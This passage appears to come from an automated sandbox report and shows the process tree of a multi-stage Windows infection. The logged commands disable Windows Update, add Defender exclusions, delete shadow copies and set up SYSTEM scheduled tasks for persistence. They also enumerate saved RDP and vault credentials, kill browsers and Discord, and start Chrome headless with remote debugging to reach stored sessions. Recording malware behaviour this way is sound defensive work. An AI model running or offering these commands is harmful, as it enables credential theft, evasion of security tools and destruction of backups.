        Launches sc.exe
        
        PID:6112
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe stop dosvc
        8⤵
        Launches sc.exe
        
        PID:5340
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe stop WaaSMedicSvc
        8⤵
        Launches sc.exe
        
        PID:2404
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe config wuauserv start= disabled
        8⤵
        Launches sc.exe
        
        PID:1696
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe config UsoSvc start= disabled
        8⤵
        Launches sc.exe
        
        PID:1652
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe config bits start= disabled
        8⤵
        Launches sc.exe
        
        PID:4480
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe config dosvc start= disabled
        8⤵
        Launches sc.exe
        
        PID:1460
        
        C:\Windows\SYSTEM32\sc.exe
        
        sc.exe config WaaSMedicSvc start= disabled
        8⤵
        Launches sc.exe
        
        PID:3172
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /C rmdir /S /Q "%SystemDrive%\\inetpub"
        8⤵
        
        PID:5540
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -Command Add-MpPreference -ExclusionPath 'C:\Users\'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4988
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1948
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -Command Add-MpPreference -ExclusionPath 'C:\Windows\System32\config\systemprofile\'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -Command Add-MpPreference -ExclusionExtension 'exe'
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
        8⤵
        
        PID:424
        
        C:\Windows\system32\wusa.exe
        
        wusa /uninstall /kb:890830 /quiet /norestart
        9⤵
        
        PID:2660
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powercfg /x -standby-timeout-ac 0
        8⤵
        Power Settings
        
        PID:5388
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        9⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5012
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powercfg /x -standby-timeout-dc 0
        8⤵
        Power Settings
        
        PID:3808
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        9⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2212
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powercfg /x -hibernate-timeout-ac 0
        8⤵
        Power Settings
        
        PID:1420
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        9⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:4072
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powercfg /x -hibernate-timeout-dc 0
        8⤵
        Power Settings
        
        PID:2868
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        9⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:1364
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        8⤵
        Power Settings
        
        PID:2388
        
        C:\Windows\system32\powercfg.exe
        
        powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
        9⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:5760
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c vssadmin delete shadows /all /quiet
        8⤵
        
        PID:4504
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        9⤵
        Interacts with shadow copies
        
        PID:1184
        
        C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /Create /SC MINUTE /MO 1 /TN "SystemOneDriveUpdateTaskMachineCoreTask" /TR "C:\ProgramData\Microsoft\wbem.{208D2C60-3AEA-1069-A2D7-08002B30309D}\WmiPrvSE.exe" /RU SYSTEM /RL HIGHEST /F
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2456
        
        C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c timeout /t 5 /nobreak >nul & del "C:\Users\Admin\AppData\Local\Temp\S25I6FUNO64BUBYODZS9ZY97SR8CU5Q.exe"
        8⤵
        
        PID:4628
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        9⤵
        Delays execution with timeout.exe
        
        PID:2804
        
        C:\Users\Admin\AppData\Local\Temp\W9FKYTYWHTPHNE5PRXBEJPOK.exe
        
        "C:\Users\Admin\AppData\Local\Temp\W9FKYTYWHTPHNE5PRXBEJPOK.exe"
        7⤵
        Modifies WinLogon for persistence
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:3648
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c schtasks /create /tn "WinServiceTask" /tr "C:\ProgramData\WindowsService.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /SC MINUTE /MO 1 /RL HIGHEST /IT /F
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:3476
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "WinServiceTask" /tr "C:\ProgramData\WindowsService.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /SC MINUTE /MO 1 /RL HIGHEST /IT /F
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:4560
        
        C:\Windows\SYSTEM32\cmd.exe
        
        "cmd.exe" /c timeout 5 >nul && del "C:\Users\Admin\AppData\Local\Temp\W9FKYTYWHTPHNE5PRXBEJPOK.exe"
        8⤵
        
        PID:4524
        
        C:\Windows\system32\timeout.exe
        
        timeout 5
        9⤵
        Delays execution with timeout.exe
        
        PID:2536
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe "start /min cmd.exe "/c timeout /t 3 /nobreak & del "C:\Users\Admin\AppData\Local\Temp\10174890101\LgEEypr.exe"""
        7⤵
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:552
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3 /nobreak
        8⤵
        System Location Discovery: System Language Discovery
        Delays execution with timeout.exe
        
        PID:1432
      - C:\Users\Admin\AppData\Local\Temp\10175021101\Mmw5WKs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10175021101\Mmw5WKs.exe"
        6⤵
        Modifies WinLogon for persistence
        Event Triggered Execution: Image File Execution Options Injection
        Executes dropped EXE
        Adds Run key to start application
        
        PID:4716
        
        C:\Windows\system32\attrib.exe
        
        "attrib" +H +S C:\Users\Admin\AppData\Roaming\Microsoft\Windows\CLR\runtime_broker.exe
        7⤵
        Views/modifies file attributes
        
        PID:3460
        
        C:\Windows\system32\vaultcmd.exe
        
        "vaultcmd" /list
        7⤵
        
        PID:3356
        
        C:\Windows\system32\cmdkey.exe
        
        "cmdkey" /list
        7⤵
        
        PID:1800
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command " $entries = cmdkey /list | Select-String \"TERMSRV\" -Context 0,3 foreach ($entry in $entries) { $target = ($entry -split \"target=\")[1].Trim() $ip = $target -replace \"TERMSRV/\", \"\" $userLine = $entry.Context.PostContext | Select-String \"User\" $user = if ($userLine) { ($userLine -split \":\")[1].Trim() } else { \"N/A\" } Write-Output \"Server: $ip | Username: $user\" } "
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5976
        
        C:\Windows\system32\cmdkey.exe
        
        "C:\Windows\system32\cmdkey.exe" /list
        8⤵
        
        PID:5680
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5816
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist" /FO CSV /NH
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3624
        
        C:\Windows\system32\certutil.exe
        
        "certutil" -store My
        7⤵
        
        PID:5352
        
        C:\Windows\system32\certutil.exe
        
        "certutil" -store -user My
        7⤵
        
        PID:852
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command "Get-VpnConnection | ConvertTo-Json"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2100
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2492
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM chrome.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5940
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM msedge.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5412
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM brave.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:668
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command " $regPath = \"HKCU:\Software\Microsoft\Terminal Server Client\Servers\" if (Test-Path $regPath) { Get-ChildItem $regPath | ForEach-Object { $server = $_.PSChildName $usernamePath = Join-Path $_.PSPath \"UsernameHint\" $username = if (Test-Path $usernamePath) { (Get-ItemProperty -Path $usernamePath -Name \"(default)\" -ErrorAction SilentlyContinue).\"(default)\" } else { \"\" } Write-Output \"Server:$server,Username:$username\" } } "
        7⤵
        Command and Scripting Interpreter: PowerShell
        Hide Artifacts: Ignore Process Interrupts
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5676
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM opera.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2044
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2488
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM vivaldi.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4728
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5724
        
        C:\Windows\system32\cmdkey.exe
        
        "cmdkey" /list
        7⤵
        
        PID:2948
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM firefox.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:5384
        
        C:\Windows\system32\cmdkey.exe
        
        "cmdkey" /list:TERMSRV/69.48.201.74
        7⤵
        
        PID:5192
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM dragon.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:556
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM maxthon.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5892
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM uc_browser.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1280
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM chrome.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4956
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3904
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM slimjet.exe
        7⤵
        Kills process with taskkill
        
        PID:248
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM Discord.exe
        7⤵
        Kills process with taskkill
        
        PID:1340
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:1836
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM cent_browser.exe
        7⤵
        Kills process with taskkill
        
        PID:2292
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM DiscordCanary.exe
        7⤵
        Kills process with taskkill
        
        PID:6096
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM epic.exe
        7⤵
        Kills process with taskkill
        
        PID:4236
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM DiscordPTB.exe
        7⤵
        Kills process with taskkill
        
        PID:4784
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:5492
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM torch.exe
        7⤵
        Kills process with taskkill
        
        PID:5156
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM DiscordDevelopment.exe
        7⤵
        Kills process with taskkill
        
        PID:2384
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:6056
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM whale.exe
        7⤵
        Kills process with taskkill
        
        PID:4644
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM 360browser.exe
        7⤵
        Kills process with taskkill
        
        PID:1588
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:2640
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM qqbrowser.exe
        7⤵
        Kills process with taskkill
        
        PID:1300
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /IM browser.exe
        7⤵
        Kills process with taskkill
        
        PID:3540
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:3760
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:4204
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist"
        7⤵
        Enumerates processes with tasklist
        
        PID:1528
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM chrome.exe
        7⤵
        Kills process with taskkill
        
        PID:456
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM msedge.exe
        7⤵
        Kills process with taskkill
        
        PID:1324
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM brave.exe
        7⤵
        Kills process with taskkill
        
        PID:5612
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM opera.exe
        7⤵
        Kills process with taskkill
        
        PID:2628
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM vivaldi.exe
        7⤵
        Kills process with taskkill
        
        PID:5820
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM firefox.exe
        7⤵
        Kills process with taskkill
        
        PID:128
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM dragon.exe
        7⤵
        Kills process with taskkill
        
        PID:5724
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM maxthon.exe
        7⤵
        Kills process with taskkill
        
        PID:5132
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM uc_browser.exe
        7⤵
        Kills process with taskkill
        
        PID:424
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM slimjet.exe
        7⤵
        Kills process with taskkill
        
        PID:1028
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM cent_browser.exe
        7⤵
        Kills process with taskkill
        
        PID:4676
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM epic.exe
        7⤵
        Kills process with taskkill
        
        PID:4984
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM torch.exe
        7⤵
        Kills process with taskkill
        
        PID:4596
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM whale.exe
        7⤵
        Kills process with taskkill
        
        PID:6060
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM 360browser.exe
        7⤵
        Kills process with taskkill
        
        PID:3948
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM qqbrowser.exe
        7⤵
        Kills process with taskkill
        
        PID:5700
        
        C:\Windows\system32\taskkill.exe
        
        "taskkill" /F /IM browser.exe
        7⤵
        Kills process with taskkill
        
        PID:4920
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist" /FI "IMAGENAME eq chrome.exe"
        7⤵
        Enumerates processes with tasklist
        
        PID:5068
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --restore-last-session --remote-debugging-port=46485 --remote-allow-origins=* "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --profile-directory=Default --start-minimized --no-sandbox --disable-gpu
        7⤵
        Uses browser remote debugging
        Drops file in Windows directory
        Enumerates system info in registry
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        
        PID:1748
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0x104,0x108,0x10c,0xe0,0x110,0x7ffd8c3cdcf8,0x7ffd8c3cdd04,0x7ffd8c3cdd10
        8⤵
        
        PID:1632
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=2788,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=2780 /prefetch:2
        8⤵
        
        PID:1584
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2968,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=2736 /prefetch:11
        8⤵
        
        PID:4784
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=2996,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=2972 /prefetch:13
        8⤵
        
        PID:2136
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46485 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3320,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3316 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:4068
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46485 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3544,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3540 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:2384
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --extension-process --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46485 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=3248,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4012 /prefetch:9
        8⤵
        Uses browser remote debugging
        
        PID:2964
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --no-sandbox --remote-debugging-port=46485 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4120,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3696 /prefetch:1
        8⤵
        Uses browser remote debugging
        
        PID:2872
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=4596,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4592 /prefetch:14
        8⤵
        
        PID:3476
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=4684,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4680 /prefetch:14
        8⤵
        
        PID:3288
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=4904,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=4928 /prefetch:14
        8⤵
        
        PID:1444
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5064,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=3868 /prefetch:14
        8⤵
        
        PID:1152
        
        C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --string-annotations --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --field-trial-handle=5112,i,6443329251844749050,3551338103335594668,262144 --disable-features=PaintHolding --variations-seed-version=20250501-050124.630000 --mojo-platform-channel-handle=5048 /prefetch:14
        8⤵
        
        PID:1048
        
        C:\Windows\system32\tasklist.exe
        
        "tasklist" /FI "IMAGENAME eq msedge.exe"
        7⤵
        Enumerates processes with tasklist
        
        PID:4060
      - C:\Users\Admin\AppData\Local\Temp\10175710101\ZCm7ZwA.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10175710101\ZCm7ZwA.exe"
        6⤵
        Executes dropped EXE
        
        PID:6080
      - C:\Users\Admin\AppData\Local\Temp\10175920101\i0vIpjm.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10175920101\i0vIpjm.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5888
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        Checks SCSI registry key(s)
        
        PID:3096
      - C:\Users\Admin\AppData\Local\Temp\10176710101\qc8MT4h.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10176710101\qc8MT4h.exe"
        6⤵
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:4828
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c copy Thereafter.iso Thereafter.iso.bat & Thereafter.iso.bat
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5408
      - C:\Users\Admin\AppData\Local\Temp\10176920101\cawzlaZ.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10176920101\cawzlaZ.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:5948
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3924
      - C:\Users\Admin\AppData\Local\Temp\10176980101\jQI0Puv.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10176980101\jQI0Puv.exe"
        6⤵
        
        PID:3444
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\IntoRuntime\JJ0ml4dw5Gikmvsq3ojClFlQE44.vbe"
        7⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\IntoRuntime\lCxRo2TrFpjh8bwWRyWiBMBJI70.bat" "
        8⤵
        
        PID:6076
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        Modifies registry key
        
        PID:1852
        
        C:\IntoRuntime\msComWebsaves.exe
        
        "C:\IntoRuntime/msComWebsaves.exe"
        9⤵
        
        PID:4940
      - C:\Users\Admin\AppData\Local\Temp\10177400101\29369ff66e.exe
        
